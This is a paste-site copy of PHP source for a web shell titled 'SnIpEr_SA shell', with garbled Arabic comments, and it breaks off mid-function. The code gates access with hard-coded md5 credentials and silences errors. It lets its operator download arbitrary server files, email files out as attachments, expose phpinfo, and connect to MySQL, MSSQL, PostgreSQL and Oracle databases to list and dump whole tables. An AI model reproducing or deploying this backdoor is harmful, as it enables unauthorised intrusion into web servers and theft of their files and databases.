Don't like ads? PRO users don't see any ads ;-)
Public Pastes
Guest

Untitled

By: a guest on Apr 17th, 2012  |  syntax: None  |  size: 219.46 KB  |  hits: 17  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <?php
  2. /******************************************************************************************************/
  3. /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  4. /*  (c)oded by SnIpEr_SA
  5. /*  MAIL http://sniper-sa.com , http://sniper-sa.com
  6. /******************************************************************************************************/
  7. /* ~~~ ÇáÎíÇNÇE | Options  ~~~ */
  8. // ÇááUÉ | Language
  9. // $language='eng' - english (english)
  10. // $language='ar' - arabi (arabi)
  11. $language='eng';
  12. // ?????????????? | Authentification
  13. // $auth = 1; - áEÝÚíá ÇáIÎaá Eßáaa ÇáaNaN  ( authentification = On  )
  14. // $auth = 0; - áÇí?ÇÝ ÇáIÎaá EßáaÉ ÇáaNaN ( authentification = Off )
  15. $auth = 1;
  16. // áIÎaá EßáaÉ aNaN aÇÓa aÓEÎIa (Login & Password for access)
  17. // áÍaÇíÉ ÇáÓßNEE aä IÎaá UíNß UíN ÇáEÇáí!!! (CHANGE THIS!!!)
  18. // aäÇ aÖÚß ßáaa ÇáaNaN aaí aÔÝNa EOíUa md5, aßáaÉÚ ÇáaNaN aäÇ aí  'sniper'
  19. // EÓEÚOíÚ Çä EÔÝN ßáaÉ aNaNß aÇÓa ÇáaÓEÎIa EOíUÉ md5 aaÖÚaÇ Ýí ÇáÎÇäÇE ÇáEÇáía
  20. $name='21232f297a57a5a743894a0e4a801fc3'; // ÇÓa ÇáaÓEÎIa  (user login)
  21. $pass='ce0d0bba627b7e63e81b0f4b602b530a'; // ßáaÉ ÇáaNaN (user password)
  22. /******************************************************************************************************/
  23.  
  24. echo "".htmlspecialchars($copy)."";
  25. error_reporting(0);
  26. set_magic_quotes_runtime(0);
  27. @set_time_limit(0);
  28. @ini_set('max_execution_time',0);
  29. @ini_set('output_buffering',0);
  30. $safe_mode = @ini_get('safe_mode');
  31. $version = '1.31';
  32. if(version_compare(phpversion(), '4.1.0') == -1)
  33.  {
  34.  $_POST   = &$HTTP_POST_VARS;
  35.  $_GET    = &$HTTP_GET_VARS;
  36.  $_SERVER = &$HTTP_SERVER_VARS;
  37.  $_COOKIE = &$HTTP_COOKIE_VARS;
  38.  }
  39. if (@get_magic_quotes_gpc())
  40.  {
  41.  foreach ($_POST as $k=>$v)
  42.   {
  43.   $_POST[$k] = stripslashes($v);
  44.   }
  45.  foreach ($_COOKIE as $k=>$v)
  46.   {
  47.   $_COOKIE[$k] = stripslashes($v);
  48.   }
  49.  }
  50.  
  51. if($auth == 1) {
  52. if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
  53.    {
  54.    header('WWW-Authenticate: Basic realm="SnIpEr_SA shell"');
  55.    header('HTTP/1.0 401 Unauthorized');
  56.    exit("<b><a href=http://sniper-sa.com>SnIpEr_SA</a> : Access Denied</b>");
  57.    }
  58. }
  59. $head = '<!-- SnIpEr_SA -->
  60. <html>
  61. <head>
  62. <meta http-equiv="Content-Language" content="ar-sa">
  63. <meta name="GENERATOR" content="Microsoft FrontPage 6.0">
  64. <meta name="ProgId" content="FrontPage.Editor.Document">
  65. <meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
  66. <title>SnIpEr_SA shell</title>
  67.  
  68.  
  69.  
  70. <STYLE>
  71.  
  72. BODY
  73.  {
  74.         SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #ffffff; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
  75. }
  76.  
  77. tr {
  78. BORDER-RIGHT:  #cccccc ;
  79. BORDER-TOP:    #cccccc ;
  80. BORDER-LEFT:   #cccccc ;
  81. BORDER-BOTTOM: #cccccc ;
  82. color: #ffffff;
  83. }
  84. td {
  85. BORDER-RIGHT:  #cccccc ;
  86. BORDER-TOP:    #cccccc ;
  87. BORDER-LEFT:   #cccccc ;
  88. BORDER-BOTTOM: #cccccc ;
  89. color: #cccccc;
  90. }
  91. .table1 {
  92. BORDER: 1;
  93. BACKGROUND-COLOR: #000000;
  94. color: #333333;
  95. }
  96. .td1 {
  97. BORDER: 1;
  98. font: 7pt tahoma;
  99. color: #ffffff;
  100. }
  101. .tr1 {
  102. BORDER: 1;
  103. color: #cccccc;
  104. }
  105. table {
  106. BORDER:  #eeeeee  outset;
  107. BACKGROUND-COLOR: #000000;
  108. color: #cccccc;
  109. }
  110. input {
  111. BORDER-RIGHT:  #990000 1 solid;
  112. BORDER-TOP:    #990000 1 solid;
  113. BORDER-LEFT:   #990000 1 solid;
  114. BORDER-BOTTOM: #990000 1 solid;
  115. BACKGROUND-COLOR: #333333;
  116. font: 9pt tahoma;
  117. color: #ffffff;
  118. }
  119. select {
  120. BORDER-RIGHT:  #ffffff 1 solid;
  121. BORDER-TOP:    #999999 1 solid;
  122. BORDER-LEFT:   #999999 1 solid;
  123. BORDER-BOTTOM: #ffffff 1 solid;
  124. BACKGROUND-COLOR: #000000;
  125. font: 9pt tahoma;
  126. color: #CCCCCC;;
  127. }
  128. submit {
  129. BORDER:  buttonhighlight 1 outset;
  130. BACKGROUND-COLOR: #272727;
  131. width: 40%;
  132. color: #cccccc;
  133. }
  134. textarea {
  135. BORDER-RIGHT:  #ffffff 1 solid;
  136. BORDER-TOP:    #999999 1 solid;
  137. BORDER-LEFT:   #999999 1 solid;
  138. BORDER-BOTTOM: #ffffff 1 solid;
  139. BACKGROUND-COLOR: #333333;
  140. font: Fixedsys bold;
  141. color: #ffffff;
  142. }
  143. BODY {
  144. margin: 1;
  145. color: #cccccc;
  146. background-color: #000000;
  147. }
  148. A:link {COLOR:red; TEXT-DECORATION: none}
  149. A:visited { COLOR:red; TEXT-DECORATION: none}
  150. A:active {COLOR:red; TEXT-DECORATION: none}
  151. A:hover {color:blue;TEXT-DECORATION: none}
  152.  
  153. </STYLE>
  154. <script language=\'javascript\'>
  155. function hide_div(id)
  156. {
  157.   document.getElementById(id).style.display = \'none\';
  158.   document.cookie=id+\'=0;\';
  159. }
  160. function show_div(id)
  161. {
  162.   document.getElementById(id).style.display = \'block\';
  163.   document.cookie=id+\'=1;\';
  164. }
  165. function change_divst(id)
  166. {
  167.   if (document.getElementById(id).style.display == \'none\')
  168.     show_div(id);
  169.   else
  170.     hide_div(id);
  171. }
  172. </script>';
  173. class zipfile
  174. {
  175.     var $datasec      = array();
  176.     var $ctrl_dir     = array();
  177.     var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  178.     var $old_offset   = 0;
  179.     function unix2DosTime($unixtime = 0) {
  180.         $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  181.         if ($timearray['year'] < 1980) {
  182.             $timearray['year']    = 1980;
  183.             $timearray['mon']     = 1;
  184.             $timearray['mday']    = 1;
  185.             $timearray['hours']   = 0;
  186.             $timearray['minutes'] = 0;
  187.             $timearray['seconds'] = 0;
  188.         }
  189.         return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  190.                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  191.     }
  192.     function addFile($data, $name, $time = 0)
  193.     {
  194.         $name     = str_replace('\\', '/', $name);
  195.         $dtime    = dechex($this->unix2DosTime($time));
  196.         $hexdtime = '\x' . $dtime[6] . $dtime[7]
  197.                   . '\x' . $dtime[4] . $dtime[5]
  198.                   . '\x' . $dtime[2] . $dtime[3]
  199.                   . '\x' . $dtime[0] . $dtime[1];
  200.         eval('$hexdtime = "' . $hexdtime . '";');
  201.         $fr   = "\x50\x4b\x03\x04";
  202.         $fr   .= "\x14\x00";
  203.         $fr   .= "\x00\x00";
  204.         $fr   .= "\x08\x00";
  205.         $fr   .= $hexdtime;
  206.         $unc_len = strlen($data);
  207.         $crc     = crc32($data);
  208.         $zdata   = gzcompress($data);
  209.         $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  210.         $c_len   = strlen($zdata);
  211.         $fr      .= pack('V', $crc);
  212.         $fr      .= pack('V', $c_len);
  213.         $fr      .= pack('V', $unc_len);
  214.         $fr      .= pack('v', strlen($name));
  215.         $fr      .= pack('v', 0);
  216.         $fr      .= $name;
  217.         $fr .= $zdata;
  218.         $this -> datasec[] = $fr;
  219.         $cdrec = "\x50\x4b\x01\x02";
  220.         $cdrec .= "\x00\x00";
  221.         $cdrec .= "\x14\x00";
  222.         $cdrec .= "\x00\x00";
  223.         $cdrec .= "\x08\x00";
  224.         $cdrec .= $hexdtime;
  225.         $cdrec .= pack('V', $crc);
  226.         $cdrec .= pack('V', $c_len);
  227.         $cdrec .= pack('V', $unc_len);
  228.         $cdrec .= pack('v', strlen($name) );
  229.         $cdrec .= pack('v', 0 );
  230.         $cdrec .= pack('v', 0 );
  231.         $cdrec .= pack('v', 0 );
  232.         $cdrec .= pack('v', 0 );
  233.         $cdrec .= pack('V', 32 );
  234.         $cdrec .= pack('V', $this -> old_offset );
  235.         $this -> old_offset += strlen($fr);
  236.         $cdrec .= $name;
  237.         $this -> ctrl_dir[] = $cdrec;
  238.     }
  239.     function file()
  240.     {
  241.         $data    = implode('', $this -> datasec);
  242.         $ctrldir = implode('', $this -> ctrl_dir);
  243.         return
  244.             $data .
  245.             $ctrldir .
  246.             $this -> eof_ctrl_dir .
  247.             pack('v', sizeof($this -> ctrl_dir)) .
  248.             pack('v', sizeof($this -> ctrl_dir)) .
  249.             pack('V', strlen($ctrldir)) .
  250.             pack('V', strlen($data)) .
  251.             "\x00\x00";
  252.     }
  253. }
  254. function compress(&$filename,&$filedump,$compress)
  255.  {
  256.     global $content_encoding;
  257.     global $mime_type;
  258.     if ($compress == 'bzip' && @function_exists('bzcompress'))
  259.      {
  260.         $filename  .= '.bz2';
  261.         $mime_type = 'application/x-bzip2';
  262.         $filedump = bzcompress($filedump);
  263.      }
  264.      else if ($compress == 'gzip' && @function_exists('gzencode'))
  265.      {
  266.         $filename  .= '.gz';
  267.         $content_encoding = 'x-gzip';
  268.         $mime_type = 'application/x-gzip';
  269.         $filedump = gzencode($filedump);
  270.      }
  271.      else if ($compress == 'zip' && @function_exists('gzcompress'))
  272.      {
  273.              $filename .= '.zip';
  274.         $mime_type = 'application/zip';
  275.         $zipfile = new zipfile();
  276.         $zipfile -> addFile($filedump, substr($filename, 0, -4));
  277.         $filedump = $zipfile -> file();
  278.      }
  279.      else
  280.      {
  281.              $mime_type = 'application/octet-stream';
  282.      }
  283.  }
  284. function mailattach($to,$from,$subj,$attach)
  285.  {
  286.  $headers  = "From: $from\r\n";
  287.  $headers .= "MIME-Version: 1.0\r\n";
  288.  $headers .= "Content-Type: ".$attach['type'];
  289.  $headers .= "; name=\"".$attach['name']."\"\r\n";
  290.  $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
  291.  $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
  292.  if(@mail($to,$subj,"",$headers)) { return 1; }
  293.  return 0;
  294.  }
  295. class my_sql
  296.  {
  297.  var $host = 'localhost';
  298.  var $port = '';
  299.  var $user = '';
  300.  var $pass = '';
  301.  var $base = '';
  302.  var $db   = '';
  303.  var $connection;
  304.  var $res;
  305.  var $error;
  306.  var $rows;
  307.  var $columns;
  308.  var $num_rows;
  309.  var $num_fields;
  310.  var $dump;
  311.  
  312.  function connect()
  313.   {
  314.           switch($this->db)
  315.      {
  316.            case 'MySQL':
  317.             if(empty($this->port)) { $this->port = '3306'; }
  318.             if(!function_exists('mysql_connect')) return 0;
  319.             $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
  320.             if(is_resource($this->connection)) return 1;
  321.            break;
  322.      case 'MSSQL':
  323.       if(empty($this->port)) { $this->port = '1433'; }
  324.             if(!function_exists('mssql_connect')) return 0;
  325.             $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
  326.       if($this->connection) return 1;
  327.      break;
  328.      case 'PostgreSQL':
  329.       if(empty($this->port)) { $this->port = '5432'; }
  330.       $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
  331.       if(!function_exists('pg_connect')) return 0;
  332.       $this->connection = @pg_connect($str);
  333.       if(is_resource($this->connection)) return 1;
  334.      break;
  335.      case 'Oracle':
  336.       if(!function_exists('ocilogon')) return 0;
  337.       $this->connection = @ocilogon($this->user, $this->pass, $this->base);
  338.       if(is_resource($this->connection)) return 1;
  339.      break;
  340.      }
  341.     return 0;
  342.   }
  343.  
  344.  function select_db()
  345.   {
  346.    switch($this->db)
  347.     {
  348.           case 'MySQL':
  349.            if(@mysql_select_db($this->base,$this->connection)) return 1;
  350.     break;
  351.     case 'MSSQL':
  352.            if(@mssql_select_db($this->base,$this->connection)) return 1;
  353.     break;
  354.     case 'PostgreSQL':
  355.      return 1;
  356.     break;
  357.     case 'Oracle':
  358.      return 1;
  359.     break;
  360.     }
  361.    return 0;
  362.   }
  363.  
  364.  function query($query)
  365.   {
  366.    $this->res=$this->error='';
  367.    switch($this->db)
  368.     {
  369.           case 'MySQL':
  370.      if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
  371.       {
  372.       $this->error = @mysql_error($this->connection);
  373.       return 0;
  374.       }
  375.      else if(is_resource($this->res)) { return 1; }
  376.      return 2;
  377.           break;
  378.     case 'MSSQL':
  379.      if(false===($this->res=@mssql_query($query,$this->connection)))
  380.       {
  381.       $this->error = 'Query error';
  382.       return 0;
  383.       }
  384.       else if(@mssql_num_rows($this->res) > 0) { return 1; }
  385.      return 2;
  386.     break;
  387.     case 'PostgreSQL':
  388.      if(false===($this->res=@pg_query($this->connection,$query)))
  389.       {
  390.       $this->error = @pg_last_error($this->connection);
  391.       return 0;
  392.       }
  393.       else if(@pg_num_rows($this->res) > 0) { return 1; }
  394.      return 2;
  395.     break;
  396.     case 'Oracle':
  397.      if(false===($this->res=@ociparse($this->connection,$query)))
  398.       {
  399.       $this->error = 'Query parse error';
  400.       }
  401.      else
  402.       {
  403.       if(@ociexecute($this->res))
  404.        {
  405.        if(@ocirowcount($this->res) != 0) return 2;
  406.        return 1;
  407.        }
  408.       $error = @ocierror();
  409.       $this->error=$error['message'];
  410.       }
  411.     break;
  412.     }
  413.   return 0;
  414.   }
  415.  function get_result()
  416.   {
  417.    $this->rows=array();
  418.    $this->columns=array();
  419.    $this->num_rows=$this->num_fields=0;
  420.    switch($this->db)
  421.     {
  422.           case 'MySQL':
  423.            $this->num_rows=@mysql_num_rows($this->res);
  424.            $this->num_fields=@mysql_num_fields($this->res);
  425.            while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
  426.            @mysql_free_result($this->res);
  427.            if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  428.     break;
  429.     case 'MSSQL':
  430.            $this->num_rows=@mssql_num_rows($this->res);
  431.            $this->num_fields=@mssql_num_fields($this->res);
  432.            while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
  433.            @mssql_free_result($this->res);
  434.            if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
  435.     break;
  436.     case 'PostgreSQL':
  437.            $this->num_rows=@pg_num_rows($this->res);
  438.            $this->num_fields=@pg_num_fields($this->res);
  439.            while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
  440.            @pg_free_result($this->res);
  441.            if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  442.     break;
  443.     case 'Oracle':
  444.      $this->num_fields=@ocinumcols($this->res);
  445.      while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
  446.      @ocifreestatement($this->res);
  447.      if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  448.     break;
  449.     }
  450.    return 0;
  451.   }
  452.  function dump($table)
  453.   {
  454.    if(empty($table)) return 0;
  455.    $this->dump=array();
  456.    $this->dump[0] = '##';
  457.    $this->dump[1] = '## --------------------------------------- ';
  458.    $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s");
  459.    $this->dump[3] = '## Database: '.$this->base;
  460.    $this->dump[4] = '##    Table: '.$table;
  461.    $this->dump[5] = '## --------------------------------------- ';
  462.    switch($this->db)
  463.     {
  464.           case 'MySQL':
  465.            $this->dump[0] = '## MySQL dump';
  466.            if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
  467.            if(!$this->get_result()) return 0;
  468.            $this->dump[] = $this->rows[0]['Create Table'];
  469.      $this->dump[] = '## --------------------------------------- ';
  470.            if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
  471.            if(!$this->get_result()) return 0;
  472.            for($i=0;$i<$this->num_rows;$i++)
  473.             {
  474.       foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
  475.             $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  476.             }
  477.     break;
  478.     case 'MSSQL':
  479.      $this->dump[0] = '## MSSQL dump';
  480.      if($this->query('SELECT * FROM '.$table)!=1) return 0;
  481.            if(!$this->get_result()) return 0;
  482.            for($i=0;$i<$this->num_rows;$i++)
  483.             {
  484.       foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
  485.             $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  486.             }
  487.     break;
  488.     case 'PostgreSQL':
  489.      $this->dump[0] = '## PostgreSQL dump';
  490.      if($this->query('SELECT * FROM '.$table)!=1) return 0;
  491.            if(!$this->get_result()) return 0;
  492.            for($i=0;$i<$this->num_rows;$i++)
  493.             {
  494.       foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
  495.             $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  496.             }
  497.     break;
  498.     case 'Oracle':
  499.       $this->dump[0] = '## ORACLE dump';
  500.       $this->dump[]  = '## under construction';
  501.     break;
  502.     default:
  503.      return 0;
  504.     break;
  505.     }
  506.    return 1;
  507.   }
  508.  function close()
  509.   {
  510.    switch($this->db)
  511.     {
  512.           case 'MySQL':
  513.            @mysql_close($this->connection);
  514.     break;
  515.     case 'MSSQL':
  516.      @mssql_close($this->connection);
  517.     break;
  518.     case 'PostgreSQL':
  519.      @pg_close($this->connection);
  520.     break;
  521.     case 'Oracle':
  522.      @oci_close($this->connection);
  523.     break;
  524.     }
  525.   }
  526.  function affected_rows()
  527.   {
  528.    switch($this->db)
  529.     {
  530.           case 'MySQL':
  531.            return @mysql_affected_rows($this->res);
  532.     break;
  533.     case 'MSSQL':
  534.      return @mssql_affected_rows($this->res);
  535.     break;
  536.     case 'PostgreSQL':
  537.      return @pg_affected_rows($this->res);
  538.     break;
  539.     case 'Oracle':
  540.      return @ocirowcount($this->res);
  541.     break;
  542.     default:
  543.      return 0;
  544.     break;
  545.     }
  546.   }
  547.  }
  548. if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
  549.  {
  550.   if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; }
  551.   else
  552.    {
  553.     @ob_clean();
  554.     $filename = @basename($_POST['d_name']);
  555.     $filedump = @fread($file,@filesize($_POST['d_name']));
  556.     fclose($file);
  557.     $content_encoding=$mime_type='';
  558.     compress($filename,$filedump,$_POST['compress']);
  559.     if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
  560.     header("Content-type: ".$mime_type);
  561.     header("Content-disposition: attachment; filename=\"".$filename."\";");
  562.     echo $filedump;
  563.     exit();
  564.    }
  565.  }
  566.  
  567. if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
  568. if(isset($_GET['sqlman'])) {
  569. session_start();
  570. $action = $HTTP_GET_VARS['action'];
  571. $pagemax=20; // Maximum rows displaed per page, change to display more or less rows per page.
  572. function show_login($dbnamearray){
  573.      $hostdefault="localhost";
  574.                 echo"<table>";
  575.                 echo"<form  name='showlogin' method='post' action='$action'>";
  576.         if(count($hostdefault) > 1){
  577.             echo"<tr><td>??? C???????:</td><td><select name=host>";
  578.             for($x=0; $x < count($hostdefault);$x++){
  579.                 echo"<option value=$hostdefault[$x]>$hostdefault[$x]";
  580.             }
  581.             echo"</select></td></tr>\n";
  582.         }else{
  583.             echo"<tr><td>ÓíNÝN ?aÇÚI ÇáEíÇäÇE:</td><td><input type=text name='host' size=15 value=$hostdefault /></td></tr>\n";
  584.                 }
  585.         echo"<tr><td>ÇÓa ÇáaÓEÎIa:</td><td><input type=text name='userid' size=15 /></td></tr>\n";
  586.                 echo"<tr><td>ßáaa ÇáaNaN:</td><td><input type=password name='pword1' size=15 /></td></tr>\n";
  587.  
  588.                 If($dbnamearray != ""){
  589.                         echo"<tr><td>?C?IE C?E?C?CE:</td><td><select name='dbna'>\n";
  590.                         for ($i =0; $i < count($dbnamearray); $i++) {
  591.                                 $dbn=$dbnamearray[$i];
  592.                                 echo"<option value=$dbn>$dbn";
  593.                         }
  594.                 }
  595.                 echo"<tr><td><input class=ser type='submit' name='login' value='IÎaá' /></td>\n";
  596.                 echo"<td><input class=ser type=reset name='reset' value='aÓÍ' /></td></tr>\n";
  597.                 echo"</form></table>\n";
  598.  
  599. }
  600.  
  601. function dbrestrict(){
  602. if(isset($_SESSION['user'])){
  603.     $user=$_SESSION['user'];
  604.  
  605.     switch($user){
  606.  
  607.     //Edit these ** values. You can add more case statements.
  608.         case '**User**':
  609.             $dbnamearray= array('**dbname**', '**dbname2**', '**dbname**');
  610.             break;
  611.      //end edit values
  612.  
  613.         default:
  614.             $_SESSION['defaltuser']=true;
  615.             $dbnamearray = array();
  616.             $link = connectmysql();
  617.  
  618.             $db_list = mysql_list_dbs($link); //$db_list
  619.                     $cnt = mysql_num_rows($db_list);
  620.                     for ($i =0; $i < $cnt; $i++) {
  621.                             $dbnamearray[$i]= mysql_db_name($db_list, $i);
  622.                     }
  623.     }
  624.     return $dbnamearray;
  625. }
  626. }
  627. //***************************************************************
  628. //function showdbs($dbnamearray, $backuppath){
  629. function showdbs($dbnamearray){
  630.     //$backuppath=addslashes($backuppath);
  631.        echo"<table>\n";
  632.        for ($i =0; $i < count($dbnamearray); $i++) {
  633.                     echo"<tr><td>";
  634.             $dbn=$dbnamearray[$i];
  635.                         $va="Çá?aÇE Çái ?ÇÚIÉ $dbn";
  636.                         goto(' ', $dbn,$action, 'but', 'db', $va );
  637.  
  638.             $dbs=mysize($dbnamearray[$i],"");
  639.             echo"</td><td>$dbs</td></tr>\n";
  640.         }
  641.     echo"</table>\n";
  642. }
  643.  
  644.  
  645. //********************* Show Logout Button **********
  646. function endsess(){
  647. echo"<form method='post' name='endsess' action='$action'>\n";
  648. echo"<input class=ser type='submit' name='logout' value='ÎNaI' />\n";
  649. echo"</form>";
  650. }
  651.  
  652. //********************************************************************
  653. function connectmysql(){
  654.         //Connects to the MySQL Database.
  655.  
  656.  
  657.         if (isset($_SESSION['user']) && isset($_SESSION['password'])){
  658.                  $user = $_SESSION['user'];
  659.                  $pass = $_SESSION['password'];
  660.         }else{
  661.         display_foot();
  662.         echo"\n</body>\n</html>";
  663.                 exit();
  664.         }
  665.         $link = @mysql_connect($_SESSION['host'], $_SESSION['user'], $_SESSION['password']);
  666.         if(! $link){
  667.                 echo"<div class='error'>\n";
  668.                 echo"Unable to connect to the database server. <BR>";
  669.                 echo"The Host: $_SESSION[host], ÇÓa ÇáaÓEÎIa: $user Ça Çáßáaa ÇáÓNía ÎOÇÁ. <br>";
  670.                 echo"ÝÖáÇ? ÓIá ÎNaI ááaÍÇaáa aNa ÇÎNi.\n";
  671.                 echo"</div>\n";
  672.  
  673.         return false;
  674.                 exit();
  675.         } else{
  676.                 return $link;
  677.         }
  678.  
  679. }
  680. //*********************************************************************
  681. function connectdb($db, $link){
  682.         if(! mysql_select_db($db,$link)){
  683.                 echo"Unable to locate database $db.<br> Please try again later.\n";
  684.                 exit();
  685.         }
  686. }
  687. //*********************************************************************
  688. function exequery($sql, $tablename, $db){
  689.         $result= @mysql_query( $sql );
  690.         if($result){
  691.                 //echo "Query successful";
  692.                 return $result;
  693.         }else{
  694.                 echo"Sorry your Query failed: $sql <br> error:".mysql_error()."\n";
  695.                 return false;
  696.         }
  697. }
  698.  
  699.  
  700. //***************************************************
  701. $fieldtypes = array("BIGINT", "BLOB", "CHAR", "DATE", "DATETIME", "DECIMAL", "DOUBLE", "ENUM", "FLOAT",
  702.   "INT", "INTEGER", "LONGBLOB", "LONGTEXT", "MEDIUMBLOB", "MEDIUMINT", "MEDIUMTEXT", "NUMERIC", "PRECISION",
  703.  "REAL","SET", "SMALLINT", "TEXT", "TIME", "TIMESTAMP", "TINYBLOB", "TINYINT", "TINYTEXT", "VARCHAR", "YEAR" );
  704.  
  705.  
  706. //****************** Search Form ****************************
  707. function searchtableform($tablename, $dbname){
  708.         echo"<form method='post' action='$action'>\n";
  709.         echo"<input type=hidden name='dbname' value='$dbname' />\n";
  710.         echo"<input type=hidden name='tablename' value='$tablename' />\n";
  711.         echo"<input type=text name='searchval' />\n";
  712.         echo"<input class=ser type=submit name='search' value='Search $tablename' />\n";
  713.         echo"</form>\n";
  714. }
  715. //********************* Search *************************
  716. function searcht($tablename, $dbname, $searchval){
  717.         if(! empty($searchval)){
  718.                 //        $searchval= str_replace(";",' ', $searchval);
  719.         $result=exequery("Select * from $tablename", $tablename, $dbname);
  720.                 //$result=mysql_query("Select * from $tablename");
  721.                 $num = mysql_num_fields($result);
  722.                 $fields = mysql_list_fields($dbname, $tablename);
  723.                 $whr="where ";
  724.                 $tok=explode(" ",$searchval);
  725.                 for ($t =0; $t < count($tok); $t++){
  726.                         for ( $c = 0; $c < $num; $c++){
  727.                                 $fn =mysql_field_name($fields, $c);
  728.                                 $whr .=" $fn like '%$tok[$t]%' or ";
  729.                         }
  730.                 }
  731.                 $whr=trim(substr_replace($whr, " ", -3));
  732.                 $query="Select * from $tablename $whr";
  733.                 $result=exequery($query, $tablename, $dbname);
  734.                 return $result;
  735.         }
  736.  
  737. }
  738. //*********************GOTO buttons*************************
  739. //provides a form and button.
  740.  
  741. function goto($tablename, $dbname, $action, $class, $name, $va ){
  742.         //Adds a button.
  743.  
  744.         echo"<form action='$action' method='post' >\n";
  745.  
  746.                 if(! eregi('tablestart', $name)){
  747.                         echo"<input type=hidden name=dbname value='$dbname' />\n";
  748.                         echo"<input type=hidden name=tablename value='$tablename' />\n";
  749.                 }
  750.                 echo"<input class=$class type=submit  value='$va' name='$name' />\n";
  751.                 //echo"<input class=$class type=submit  value='$action' name=$name>";
  752.         echo"</form>\n";
  753.  
  754.         //echo"<a class=$class href=$action>$va</a>";
  755.         //}
  756. }
  757.  
  758. //*********************** ShowDB ***********************************
  759. function showdb(){
  760. //function showdb($backuppath){
  761.  
  762.         $link=connectmysql();
  763.         if ($link){
  764.         echo"<div class='db'>";
  765.                 echo"<div class='cream'>\n";
  766.                 echo"<h2 class=h >AäÔÇÁ ?ÇÚIÉ IIíIÉ</h2>\n";
  767.  
  768.                 echo"<form name=cdb action='$action' method='post' >\n";
  769.                 echo"AÓa Çá?ÇÚIÉ ÇáIIíIÉ: <input type=text name=ndbname />\n";
  770.                 echo"<br /><br /><input class=but type='submit' name='cndb' value='AäÔÇÁ ?ÇÚIÉ IIíIÉ' />\n";
  771.                 echo"</form><br />";
  772.                 echo"</div>";
  773.                 echo"<h2 class=h >?ÇAaa Çá?aÇÚI ÇáaEaÝNa</h2>\n";
  774.                 //Restrict the database for users
  775.         $dbnamearray= dbrestrict();
  776.         showdbs($dbnamearray);
  777.         echo"</div>";
  778.            }
  779.  
  780. }
  781.  
  782. //********************** BuildWhr ******************************
  783. //Builds the Where part of queries.
  784.  
  785. function buildwhr($pk, $pv){
  786.         $whr="";
  787.         $pn =count($pv);
  788.         for($t =0; $t < $pn; $t++){
  789.                 $whr.="$pk[$t]='$pv[$t]'";
  790.                 if($t < $pn-1){
  791.                         $whr.=" and ";
  792.                 }
  793.         }
  794.         if ($whr !=" "){
  795.                 return $whr;
  796.         }else{
  797.                 return false;
  798.         }
  799. }
  800. //***********************ADD Record ******************
  801.  
  802. function addrecord($tablename, $dbname, $array){
  803.      $result=exequery("Select * from $tablename", $tablename, $dbname);
  804.         //$result = @mysql_query( "Select * from $tablename" );
  805.  
  806.         $flds = mysql_num_fields($result);
  807.         //$fields = mysql_list_fields($dbname, $tablename);
  808.            $qry=" ";
  809.     $query = "Insert into $tablename Values( ";
  810.         for ($x =0; $x < $flds; $x++){
  811.         //Multiple Select values for SET
  812.  
  813.        if(is_array($array[$x])){
  814.             $mval="";
  815.             for($m=0; $m < count($array[$x]); $m++){
  816.                 if($m+1 == count($array[$x])){
